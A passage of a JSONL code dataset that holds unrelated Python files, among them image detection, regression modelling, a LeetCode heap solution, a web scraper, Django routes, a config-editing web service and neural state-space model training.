holes[0].getFullMaskedImage()).show()\n'''\n\n#d = bina.show()\n\n'''\nif checkCircle(img, (156.0, 151.0, 34.0)):\n print('Found a yellow circle!')\nelse:\n print('Didn\\'t find a yellow circle :(')\n'''\n\n#yellowDist = img.colorDistance((156.0, 151.0, 34.0))\n#yellowBin = yellowDist.binarize(50)\n\n\n#yellowBin.show()\n\n#d = (img - yellowBin).show()\n\n\n#circles = yellowBin.findCircle(canny = 10, thresh = 10, distance = 15)\n\n#circles.draw(width=4, color= Color.RED)\n#d = yellowBin.show()\n#d = circles[0].show(color = Color.RED)\n\n#print(circles)\n\n#inv.show()\n\n'''\ncircles = inv.findCircle(canny=50,thresh=50,distance=15)\n\nprint(circles)\n\ncircles.draw(width=4)\n\ncircles[0].draw(color=Color.RED, width=4)\n\nd = inv.show()\n'''\n\n#d = inv.dilate().findCorners(maxnum=6, mindistance=30).show()\n#d = inv.show()\n","sub_path":"app/images/detect_piece.py","file_name":"detect_piece.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"316624911","text":"import re\n\n\ndef contains(whole_text, subpart):\n whole_text = normalize_string(whole_text)\n subpart = normalize_string(subpart)\n try:\n return subpart in whole_text\n except:\n return False\n\n\ndef assert_contains(whole_text, subpart):\n whole_text = normalize_string(whole_text)\n subpart = normalize_string(subpart)\n try:\n assert subpart in whole_text\n except:\n assert False\n\n\ndef normalize_string(string):\n string = string.lstrip().rstrip().lower()\n string = re.sub('[,£$!<>\"\"]', '', string)\n return string","sub_path":"support/string_helper.py","file_name":"string_helper.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"151283370","text":"# -*- coding: utf-8 -*-\n#kaggle house-prices-advanced-regression-techniques\nfrom scipy import *\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import OneHotEncoder\nimport warnings\nimport time\n\nwarnings.filterwarnings('ignore')\n\nSTARTTIME = time.time()\n\ndirectory = \"/Users/yumi/Documents/house-prices-advanced-regression-techniques/\"\n\nTRAIN = pd.read_csv(directory+'train.csv')\nTEST = pd.read_csv(directory+'test.csv')\n\nX = TRAIN.copy()\ny = TRAIN['SalePrice']\nX.drop('Id',axis=1,inplace=True)\nX.drop('SalePrice',axis=1,inplace=True)\nprint(\"shape(X): {}, shape(y): {}\".format(shape(X),shape(y)))\n\ndtype_list = array([X[x].dtype for x in X.columns])\nwant_1 = dtype_list == \"float64\"\nwant_2 = dtype_list == \"int64\"\ncols = X.columns[want_1 + want_2]\n\nX = X[cols]\n#X.dropna(axis = 1, inplace = True)\nX.fillna(value = 0, inplace = True) #no dropping allowed!\nprint(\"shape(X): {}, shape(y): {}\".format(shape(X),shape(y)))\n\nX_train, X_test, y_train, y_test = train_test_split(X, y)\n\nlogreg = LinearRegression()\nlogreg.fit(X_train, y_train)\ny_pred = logreg.predict(X_test)\nprint(\"Log Reg Accuracy: {}\".format(logreg.score(X_test, y_test)))\n\nprint(\"Time elapsed; {:.2f}s\".format(time.time()-STARTTIME))\n\nRRR = RandomForestRegressor()\nRRR.fit(X_train, y_train)\ny_pred = RRR.predict(X_test)\nprint(\"Random Forest Accuracy: {}\".format(RRR.score(X_test, y_test)))\n\ncoeff = logreg.coef_ / max(abs(logreg.coef_))\nfeat_imp = RRR.feature_importances_ / max(abs(RRR.feature_importances_))\nplt.plot(coeff,\"-ko\")\nplt.plot(feat_imp,\"-r*\")\nplt.legend([\"LogReg\",\"RdmFst\"])\nplt.grid(\"on\")\nplt.show()\n\nprint(\"Time elapsed; {:.2f}s\".format(time.time()-STARTTIME))","sub_path":"house_prices.py","file_name":"house_prices.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"38395395","text":"import pandas as pd\nimport hdf\nsigs = hdf.read(r\"C:\\Users\\evans\\Dropbox\\Shade\\raw\\sigs.h5\")[0]\nsigs['Name2'][0]\nseed = pd.read_csv(r'C:\\Users\\evans\\Dropbox\\Shade\\database\\seed.txt', sep='\\t', index_col=0)\nseed.columns\nseed_sig = pd.DataFrame()\nfor i in sigs.index:\n temp = seed.loc[seed['genotype'].str.contains(sigs.loc[i, 'Name2'])]\n if not temp.empty:\n temp['anno'] = sigs.loc[i, 'Annotations']\n temp['gene'] = sigs.loc[i, 'Name2']\n seed_sig = pd.concat([seed_sig, temp])\n\nseed_sig.to_csv(r'C:\\Users\\evans\\Dropbox\\Shade\\database\\seed_sig.csv')\n","sub_path":"seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"196232542","text":"from datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\n\"\"\" now = datetime.now()\nyesterday = now.date() - relativedelta(days=10)\nprint(yesterday) \"\"\"\n\n\ndef filter_time(df, days=0):\n last_day = df.index[0].date()\n start_day = last_day - relativedelta(days=days)\n # sort_index() - skips a warning\n df = df.sort_index().loc[start_day:last_day]\n return df\n","sub_path":"L5-stockdash_teacher_alongs/L5.2-dashboard/time_filtering.py","file_name":"time_filtering.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"379230988","text":"# 给定一个非空的整数数组，返回其中出现频率前 k 高的元素。 \n# \n# \n# \n# 示例 1: \n# \n# 输入: nums = [1,1,1,2,2,3], k = 2\n# 输出: [1,2]\n# \n# \n# 示例 2: \n# \n# 输入: nums = [1], k = 1\n# 输出: [1] \n# \n# \n# \n# 提示： \n# \n# \n# 你可以假设给定的 k 总是合理的，且 1 ≤ k ≤ 数组中不相同的元素的个数。 \n# 你的算法的时间复杂度必须优于 O(n log n) , n 是数组的大小。 \n# 题目数据保证答案唯一，换句话说，数组中前 k 个高频元素的集合是唯一的。 \n# 你可以按任意顺序返回答案。 \n# \n# Related Topics 堆 哈希表 \n# 👍 441 👎 0\n\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n\n#绝对不是最快的方法，但是练习了堆的使用\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n from collections import Counter\n import heapq as hq\n lookup = Counter(nums)\n res = []\n heap = []\n for num, freq in lookup.items():\n # 如果堆满了（k个元素）\n if len(heap) == k:\n # 弹出最小频率的元组\n if heap[0][0] < freq:\n hq.heapreplace(heap, (freq, num))\n else:\n hq.heappush(heap, (freq, num))\n while heap:\n res.append(hq.heappop(heap)[1])\n\n return res\n\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"Week_02/[347]前 K 个高频元素.py","file_name":"[347]前 K 个高频元素.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"36412531","text":"from cister.db.views import BaseCisterView\nfrom cister.db.models.cister import DBSession, Fleet\n\nclass FleetView(BaseCisterView):\n\n def __init__(self, request):\n self.request = request\n\n def __call__(self):\n dbsession = DBSession()\n returnvalue = {}\n returnvalue.update(self.request.matchdict)\n fleetid = returnvalue.get('fleetid')\n\n fleet = dbsession.query(Fleet).filter(Fleet.id==fleetid).one()\n\n returnvalue['fleet'] = fleet\n\n return returnvalue\n","sub_path":"cister/db/views/fleet/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"517762771","text":"import numpy as np\nimport cv2\n\ncap=cv2.VideoCapture(0)\n\n#fourcc = cv2.VideoWriter_fourcc(*'XCID')\n#out= cv2.VideoWriter('output.avi', fourcc, 20.0, (640,480))\nout = cv2.VideoWriter('/media/sdcard/timer.avi',cv2.cv.CV_FOURCC('M','J','P','G'), 6.3, (640,480))\n#out = cv2.VideoWriter('output.avi', -1, 20.0, (640,480))\n\n#while(cap.isOpened()):\nfor i in range(1,100):\n\tret, frame = cap.read()\n\tif ret:\n\t\ti=i+1\n\t\tout.write(frame)\n\n#\t\tcv2.imshow('Video Stream', frame)\n\n\telse:\n\t\tbreak\n\ncap.release()\nout.release()\ncv2.destroyAllWindows() \n\n\n\n\n\n","sub_path":"VideoTesting/VideoCapture.py","file_name":"VideoCapture.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"417072376","text":"\"\"\"Neiman Marcus page scrapper\"\"\"\nfrom price_dig import PageParser, PageScrapper\n\nPARSER_OPTIONS = [{\n 'name': 'product_name',\n 'keyword': {\n 'class': 'product-name'\n }\n}, {\n 'name': 'description',\n 'keyword': {\n 'class': \"productCutline\"\n }\n}, {\n 'name': 'product_img',\n 'keyword': {\n 'class': \"img-wrap\"\n }\n}, {\n 'name': 'product_price',\n 'keyword': {\n 'class': \"product-price\"\n }\n}]\n\n\nclass NeimanMarcusParser(PageParser):\n \"\"\"parser for Neiman Marcus pages\"\"\"\n def __init__(self, url):\n super(NeimanMarcusParser, self).__init__(url, options=PARSER_OPTIONS)\n\n\nclass NeimanMarcusScrapper(PageScrapper):\n \"\"\"scrapper class for Neiman Marcus\"\"\"\n def __init__(self, url):\n super(NeimanMarcusScrapper, self).__init__(url, parser=NeimanMarcusParser)\n","sub_path":"neimanmarcus.py","file_name":"neimanmarcus.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"220938204","text":"n = 100\nsum = 0\nstart = 1\nwhile start <= n:\n sum = sum + start\n n -= 1\n # print(n)\n # print(sum)\nelse:\n print(n)\n# flag = 1\n# while (flag): print ('helloworld!')\n# print (\"Good bye!\")\n\nimport random\n# 骰子投掷的随机叔num\nnum = random.randint(1,6)\n# # 输入一个猜测的数字\ntemp = input(\"请输入一个整数:\")\nguess_num = int(temp)\n\nwhile guess_num != num:\n if guess_num > num and guess_num < 7:\n print(\"大了\")\n if guess_num > 6:\n print(\"你傻了,最大才是6\")\n if guess_num < num:\n print(\"小了,继续猜\")\n temp = input(\"继续猜:\")\n guess_num = int(temp)\n# 猜对了游戏结束\nprint(\"猜对了,游戏结束\")","sub_path":"gachascripts/day03/while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"178281770","text":"\"\"\"movieproject2 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom movies import views\nfrom movies.user_decorator import login_requied\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^login/$', views.Login, name=\"login\"),\n url(r'^register/$', views.Register, name=\"register\"),\n url(r'^main/$',views.MainPage,name=\"main\"),\n url(r'^checkusername/$',views.check_username,name=\"checkname\"),\n url(r'^$',views.IndexPage,name=\"indexpage\"),\n\n url(r'^mylike/$',views.MylikePage,name=\"mylike\"),\n url(r'^dellike/$',views.DellikePage,name=\"dellike\"),\n url(r'^like/$',views.LikePage,name=\"like\"),\n\n url(r'^logout/$',views.Logout,name=\"logout\"),\n\n]\n","sub_path":"movieproject2/movieproject2/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"264819378","text":"# -*- coding: utf-8 -*- \r\nfrom Cheetah.Template import Template\r\nimport sys\r\nimport os\r\nimport shutil\r\nimport json\r\nimport gettext\r\n\r\ndef GetConf(conf,inputs,outputs):\r\n\toutputs[\"Result\"][\"value\"]=\"\";\r\n\ti = 0\r\n\ttry:\r\n\t\ttmp=json.dumps(conf[inputs[\"section\"][\"value\"]])\r\n\t\toutputs[\"Result\"][\"value\"]=tmp\r\n\texcept:\r\n\t\tconf[\"lenv\"][\"message\"]=\"Error occurs when trying to parse the \"+inputs[\"section\"][\"value\"]+\"section\"\r\n\t\treturn 4\r\n\treturn 3\r\n\r\ndef SaveConf(conf,inputs,outputs):\r\n\ti = 0\r\n\ttry:\r\n\t\tf = open(conf[\"lenv\"][\"cwd\"]+'/main.cfg', 'w')\r\n\t\tfor a in conf:\r\n\t\t\tif a != \"lenv\":\r\n\t\t\t\tif i>0:\r\n\t\t\t\t\tf.write(\"\\n\");\r\n\t\t\t\tf.write(\"[\"+a+\"]\\n\");\r\n\t\t\t\tif a!=inputs[\"section\"][\"value\"]:\r\n\t\t\t\t\tfor b in conf[a]:\r\n\t\t\t\t\t\t#print >> sys.stderr,\"STD[\"+b+\"=\"+conf[a][b]+\"]\\n\"\r\n\t\t\t\t\t\tf.write(b+\"=\"+conf[a][b]+\"\\n\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tfor b in conf[a]:\r\n\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\tb.index('_label')\r\n\t\t\t\t\t\t\tf.write(b+\"=\"+conf[a][b]+\"\\n\")\r\n\t\t\t\t\t\t\t#print >> sys.stderr,\"STD[\"+b+\"=\"+conf[a][b]+\"]\\n\"\r\n\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\tif inputs.has_key(b):\r\n\t\t\t\t\t\t\t\tf.write(b+\"=\"+inputs[b][\"value\"]+\"\\n\")\r\n\t\t\t\t\t\t\t\t#print >> sys.stderr,\"DIFF[\"+b+\"=\"+inputs[b][\"value\"]+\"]\\n\"\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tf.write(b+\"=\"+conf[a][b]+\"\\n\")\r\n\t\t\t\t\t\t\t\t#print >> sys.stderr,\"STD[\"+b+\"=\"+conf[a][b]+\"]\\n\"\r\n\r\n\t\t\t\ti+=1\r\n\t\toutputs[\"Result\"][\"value\"]=\"done\"\r\n\t\tf.close()\r\n\t\t#print >> sys.stderr, os.path.abspath(os.getcwd())+'/main1.cfg'+\" => \"+os.path.abspath(os.getcwd())+'/main.cfg'\r\n\t\t#shutil.copy(os.path.abspath(os.getcwd())+'/main1.cfg',os.path.abspath(os.getcwd())+'/main.cfg')\r\n\texcept:\r\n\t\t#print >> sys.stderr,\"Error occurs when trying to parse the section\"\r\n\t\t#print >> sys.stderr, inputs[\"section\"][\"value\"]\r\n\t\tconf[\"lenv\"][\"message\"]=\"Error occurs when trying to parse the \"+inputs[\"section\"][\"value\"]+\"section\"\r\n\t\treturn 4\r\n\treturn 3\r\n\r\n\r\ndef display1(conf,inputs,outputs):\r\n\t#print >> sys.stderr, conf\r\n\toutputs[\"Result\"][\"value\"]='''\r\n

    Configuration

    \r\n\r\n
    \\n'''\r\n\ti=0\r\n\tfor a in conf:\r\n\t\tif a!='lenv':\r\n\t\t\ti=i+1\r\n\t\t\toutputs[\"Result\"][\"value\"]+='''\r\n \r\n'''\r\n\t\r\n\toutputs[\"Result\"][\"value\"]+='''\r\n
    \r\n \r\n
    '''\r\n\ttextarea=['abstract','keywords']\r\n\tfor a in conf:\r\n\t\tif a!='lenv':\r\n\t\t\toutputs[\"Result\"][\"value\"]+='''
    \r\n\t\\n'''\r\n\t\t\tfor b in conf[a]:\r\n\t\t\t\ttry:\r\n\t\t\t\t\tb.index('_label')\r\n\t\t\t\texcept:\r\n\t\t\t\t\toutputs[\"Result\"][\"value\"]+='''\r\n\t \r\n\t \r\n\t \r\n\t \r\n'''\r\n\t\t\toutputs[\"Result\"][\"value\"]+='''\r\n\t
    '''\r\n\t\t\t\t\tif conf[a].has_key(b+\"_label\"):\r\n\t\t\t\t\t\toutputs[\"Result\"][\"value\"]+=conf[a][b+\"_label\"]\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\toutputs[\"Result\"][\"value\"]+=b.title()\r\n\t\t\t\t\toutputs[\"Result\"][\"value\"]+='''\r\n:'''\r\n\t\t\t\t\t#print >> sys.stderr,\" Result Name \"+a+\" \"+b+\" \"+conf[a][b],textarea\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\ttextarea.index(b)\r\n\t\t\t\t\t\toutputs[\"Result\"][\"value\"]+=''''''\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\toutputs[\"Result\"][\"value\"]+=''''''\r\n\t\t\t\t\toutputs[\"Result\"][\"value\"]+='''
    \r\n
    \r\n'''\r\n\toutputs[\"Result\"][\"value\"]+='''\r\n
    \r\n
    '''\r\n\treturn 3\r\n\r\ndef display(conf,inputs,outputs):\r\n\tnameSpace = {'conf': conf,'inputs': inputs, 'outputs': outputs}\r\n\tt = Template(file=conf[\"lenv\"][\"cwd\"]+\"/configuration/display.html\",searchList=nameSpace)\r\n\toutputs[\"Result\"][\"value\"]=t.__str__()\r\n\treturn 3\r\n","sub_path":"mapmint-services/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"32371158","text":"#!/usr/bin/env python \n#-*- coding:utf-8 _*- \n\"\"\"\n@author: HJK \n@file: env.py \n@time: 2019-01-08\n\n全局变量\n\n\"\"\"\nimport logging\n\nFAKE_HEADERS = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # noqa\n 'Accept-Charset': 'UTF-8,*;q=0.5',\n 'Accept-Encoding': 'gzip,deflate,sdch',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0', # noqa\n 'referer': 'https://www.google.com'\n}\n\nIOS_USERAGENT = 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1'\n\n\n# 日志\nLOG_LEVEL = logging.DEBUG\nLOG_FILE = None\n\ndef init_option():\n # 命令行参数，写到函数里防止被意外初始化\n global OPTS\n OPTS = {\n # 自定义来源 -s --source\n 'source': 'qq netease kugou baidu',\n # 自定义数量 -c --count\n 'count': 5,\n # 保存目录 -o --outdir\n 'outdir': '.',\n # 搜索关键字\n 'keyword': '',\n # 显示详情\n 'verbose': False\n }\n\ndef set_option(opt, value):\n OPTS[opt] = value\n\ndef get_option(opt):\n return OPTS.get(opt, '')","sub_path":"glovar.py","file_name":"glovar.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"534220902","text":"import asyncio\nfrom loguru import logger\n\nfrom core.apis.erudite import Erudite\nfrom core.apis.drive import Drive\nfrom core.gmail import alert_async\n\n\ndef get_offline(records: list) -> list:\n new_records = [record for record in records if record.get(\"type\") == \"Offline\" or record.get(\"type\") == \"Autorecord\"]\n if len(new_records) > 0:\n logger.info(\"Offline records older than needed date found\")\n return new_records\n else:\n logger.warning(\"No offline records older than needed date found\")\n return []\n\n\n@logger.catch\n@alert_async\nasync def main():\n erudite = Erudite()\n drive = Drive()\n\n records = await erudite.get_needed_records()\n offline_records = get_offline(records)\n logger.info(offline_records)\n\n tasks = []\n for record in offline_records:\n tasks.append(erudite.delete_record(record.get(\"id\")))\n tasks.append(drive.delete_video(record.get(\"url\")))\n\n await asyncio.gather(*tasks)\n\n logger.info(\"All needed records deleted\")\n\n\n\nif __name__ == \"__main__\":\n loop = asyncio.get_event_loop()\n loop.run_until_complete(main())\n","sub_path":"delete_old_records/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"392212946","text":"import torch\n\nfrom pysnn.network import SNNNetwork\n\nfrom evolutionary.utils.utils import randomize_env\n\n\ndef evaluate(valid_objectives, config, envs, h0, individual):\n # Keep track of all possible objectives\n objectives = {obj: 0.0 for obj in valid_objectives}\n\n for h, env in zip(h0, envs):\n # Reset network and env\n if isinstance(individual[0], SNNNetwork):\n individual[0].reset_state()\n obs = env.reset(h0=h)\n done = False\n spikes = 0\n\n while not done:\n # Step the environment\n obs = torch.from_numpy(obs)\n action = individual[0].forward(obs.view(1, 1, -1))\n action = action.numpy()\n obs, _, done, _ = env.step(action)\n # Increment number of spikes each step\n if isinstance(individual[0], SNNNetwork):\n spikes += (\n individual[0].neuron1.spikes.sum().item()\n + individual[0].neuron2.spikes.sum().item()\n if individual[0].neuron1 is not None\n else individual[0].neuron2.spikes.sum().item()\n )\n\n # Increment other scores\n # Time to land, final height and final velocity\n if env.t >= env.max_t or env.state[0] >= env.MAX_H:\n objectives[\"time to land\"] += 100.0\n objectives[\"time to land scaled\"] += 100.0\n objectives[\"final velocity\"] += 10.0\n objectives[\"final velocity squared\"] += 10.0\n objectives[\"final height\"] += 10.0\n else:\n objectives[\"time to land\"] += env.t - config[\"env\"][\"settle\"]\n objectives[\"time to land scaled\"] += (env.t - config[\"env\"][\"settle\"]) / h\n objectives[\"final velocity\"] += abs(env.state[1])\n objectives[\"final velocity squared\"] += env.state[1] ** 2\n objectives[\"final height\"] += env.state[0]\n\n # Spikes divided by real time to land, because we don't want to overly stimulate\n # too fast landings\n objectives[\"spikes\"] += spikes / (env.t - config[\"env\"][\"settle\"])\n\n # Select appropriate objectives\n # List, so order is guaranteed\n return [objectives[obj] / len(h0) for obj in config[\"evo\"][\"objectives\"]]\n","sub_path":"evolutionary/evaluate/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"144452734","text":"import seaborn as sns\r\nfrom Bio import SeqIO\r\n\r\n\r\ndef how_distributed(your_fasta):\r\n \"\"\"\r\n creates a histogram and fit a kernel density estimate for distribution of lines' length in fasta file\r\n :param your_fasta: full path\r\n :return: none\r\n \"\"\"\r\n u = list(SeqIO.parse(your_fasta, 'fasta'))\r\n app = []\r\n for line in u:\r\n app.append(len(line))\r\n sns.distplot(app)\r\n \r\n","sub_path":"ДЗ№10/10..2.py","file_name":"10..2.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"571411358","text":"#newpost.py\n\"\"\"Contains class defination for handler class NewPostHandler.\"\"\"\n\nfrom blog import BlogHandler\nfrom models.post import POST\nfrom models.comment import COMMENT\n\n\nclass NewPostHandler(BlogHandler):\n \"\"\"Handler for NEW-POST page which allows users to create\n new blog posts.\"\"\"\n\n def get(self):\n \"\"\"Renders NEW-POST page if user has logged in otherwise\n renders SIGN-IN page.\"\"\"\n\n if self.user:\n self.render(\"newpost.html\",\n username = self.user.username,\n page_title = \"NEW-POST\")\n else:\n self.redirect(\"/signin\")\n\n def post(self):\n \"\"\"Validates the posted blog post's form information for\n errors and accordingly creates the appropriate entities\n and redirects the page.\"\"\"\n\n post_subject = self.request.get(\"subject\")\n post_content = self.request.get(\"content\")\n\n if post_subject and post_content:\n post = POST.create_post(user_id = str(self.user.key().id()),\n post_subject = post_subject,\n post_content = post_content)\n post.put()\n self.redirect(\"/post/\" + str(post.key().id()))\n else :\n self.render(\"newpost.html\",\n err_msg = \"Both SUBJECT and CONTENT can't be left empty.\",\n post_subject = post_subject,\n post_content = post_content,\n page_title = \"NEW-POST\")\n","sub_path":"handlers/newpost.py","file_name":"newpost.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"142429371","text":"import matplotlib\nmatplotlib.use(\"TkAgg\")\nimport os\nimport pandas as pd\nimport numpy as np\nimport torch\nimport torch.optim as optim\nimport time\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append(os.path.join(\"..\", \"..\"))\nfrom torchid.ssfitter import NeuralStateSpaceSimulator\nfrom torchid.ssmodels import CTSNeuralStateSpaceModel\n\n\nif __name__ == '__main__':\n\n # Set seed for reproducibility\n np.random.seed(0)\n torch.manual_seed(0)\n\n # Overall parameters\n num_iter = 40000 # gradient-based optimization steps\n seq_len = 256 # subsequence length m\n batch_size = 32 # batch size\n alpha = 0.5 # fit/consistency trade-off constant\n lr = 1e-4 # learning rate\n test_freq = 100 # print message every test_freq iterations\n\n # Load dataset\n df_data = pd.read_csv(os.path.join(\"data\", \"dataBenchmark.csv\"))\n u_id = np.array(df_data[['uEst']]).astype(np.float32)\n y_id = np.array(df_data[['yEst']]).astype(np.float32)\n ts = df_data['Ts'][0].astype(np.float32)\n time_exp = np.arange(y_id.size).astype(np.float32)*ts\n\n x_est = np.zeros((time_exp.shape[0], 2), dtype=np.float32)\n x_est[:, 0] = np.copy(y_id[:, 0])\n\n # Hidden state variable\n x_hidden_fit = torch.tensor(x_est, dtype=torch.float32, requires_grad=True) # hidden state is an optimization variable\n y_fit = y_id\n u_fit = u_id\n time_fit = time_exp\n\n # Setup neural model structure\n ss_model = CTSNeuralStateSpaceModel(n_x=2, n_u=1, n_feat=64, ts=ts)\n nn_solution = NeuralStateSpaceSimulator(ss_model)\n\n # Setup optimizer\n params_net = list(nn_solution.ss_model.parameters())\n params_hidden = [x_hidden_fit]\n optimizer = optim.Adam([\n {'params': params_net, 'lr': lr},\n {'params': params_hidden, 'lr': lr},\n ], lr=10*lr)\n\n # Batch extraction funtion\n def get_batch(batch_size, seq_len):\n\n # Select batch indexes\n num_train_samples = u_fit.shape[0]\n batch_start = np.random.choice(np.arange(num_train_samples - seq_len, dtype=np.int64), batch_size, replace=False) # batch start indices\n batch_idx = batch_start[:, np.newaxis] + np.arange(seq_len) # batch samples indices\n #batch_idx = batch_idx.T # transpose indexes to obtain batches with structure (m, q, n_x)\n\n # Extract batch data\n batch_t = torch.tensor(time_fit[batch_idx])\n batch_x0_hidden = x_hidden_fit[batch_start, :]\n batch_x_hidden = x_hidden_fit[[batch_idx]]\n batch_u = torch.tensor(u_fit[batch_idx])\n batch_y = torch.tensor(y_fit[batch_idx])\n\n return batch_t, batch_x0_hidden, batch_u, batch_y, batch_x_hidden\n\n # Scale loss with respect to the initial one\n with torch.no_grad():\n batch_t, batch_x0_hidden, batch_u, batch_y, batch_x_hidden = get_batch(batch_size, seq_len)\n batch_x_sim = nn_solution.f_sim_multistep(batch_x0_hidden, batch_u)\n #traced_nn_solution = torch.jit.trace(nn_solution, (batch_x0_hidden, batch_u))\n err_init = batch_x_sim - batch_y\n scale_error = torch.sqrt(torch.mean(err_init**2, dim=(0, 1)))\n\n LOSS_TOT = []\n LOSS_FIT = []\n LOSS_CONSISTENCY = []\n start_time = time.time()\n # Training loop\n\n #scripted_nn_solution = torch.jit.script(nn_solution)\n for itr in range(0, num_iter):\n\n optimizer.zero_grad()\n\n # Simulate\n batch_t, batch_x0_hidden, batch_u, batch_y, batch_x_hidden = get_batch(batch_size, seq_len)\n batch_x_sim = nn_solution.f_sim_multistep(batch_x0_hidden, batch_u) # 52 seconds RK | 13 FE\n #batch_x_sim = nn_solution(batch_x0_hidden, batch_u) # 70 seconds RK | 13 FE\n #batch_x_sim = scripted_nn_solution(batch_x0_hidden, batch_u) # 71 seconds RK | 13 FE\n\n # Compute fit loss\n err_fit = batch_x_sim[:, :, [0]] - batch_y\n err_fit_scaled = err_fit/scale_error[0]\n loss_fit = torch.mean(err_fit_scaled**2)\n\n # Compute consistency loss\n err_consistency = batch_x_sim - batch_x_hidden\n err_consistency_scaled = err_consistency/scale_error\n loss_consistency = torch.mean(err_consistency_scaled**2)\n\n # Compute trade-off loss\n loss = alpha*loss_fit + (1.0-alpha)*loss_consistency\n\n # Statistics\n LOSS_TOT.append(loss.item())\n LOSS_FIT.append(loss_fit.item())\n LOSS_CONSISTENCY.append(loss_consistency.item())\n if itr % test_freq == 0:\n print(f'Iter {itr} | Tradeoff Loss {loss:.4f} Consistency Loss {loss_consistency:.4f} Fit Loss {loss_fit:.4f}')\n\n # Optimize\n loss.backward()\n optimizer.step()\n\n train_time = time.time() - start_time\n print(f\"\\nTrain time: {train_time:.2f}\") # 182 seconds\n\n if not os.path.exists(\"models\"):\n os.makedirs(\"models\")\n\n # Save model\n if not os.path.exists(\"models\"):\n os.makedirs(\"models\")\n\n model_filename = f\"model_SS_{seq_len}step.pkl\"\n hidden_filename = f\"hidden_SS_{seq_len}step.pkl\"\n\n torch.save(nn_solution.ss_model.state_dict(), os.path.join(\"models\", model_filename))\n torch.save(x_hidden_fit, os.path.join(\"models\", hidden_filename))\n\n # Plot figures\n if not os.path.exists(\"fig\"):\n os.makedirs(\"fig\")\n\n # Loss plot\n fig, ax = plt.subplots(1, 1)\n ax.plot(LOSS_TOT, 'k', label='TOT')\n ax.plot(LOSS_CONSISTENCY, 'r', label='CONSISTENCY')\n ax.plot(LOSS_FIT, 'b', label='FIT')\n ax.grid(True)\n ax.legend(loc='upper right')\n ax.set_ylabel(\"Loss (-)\")\n ax.set_xlabel(\"Iteration (-)\")\n\n fig_name = 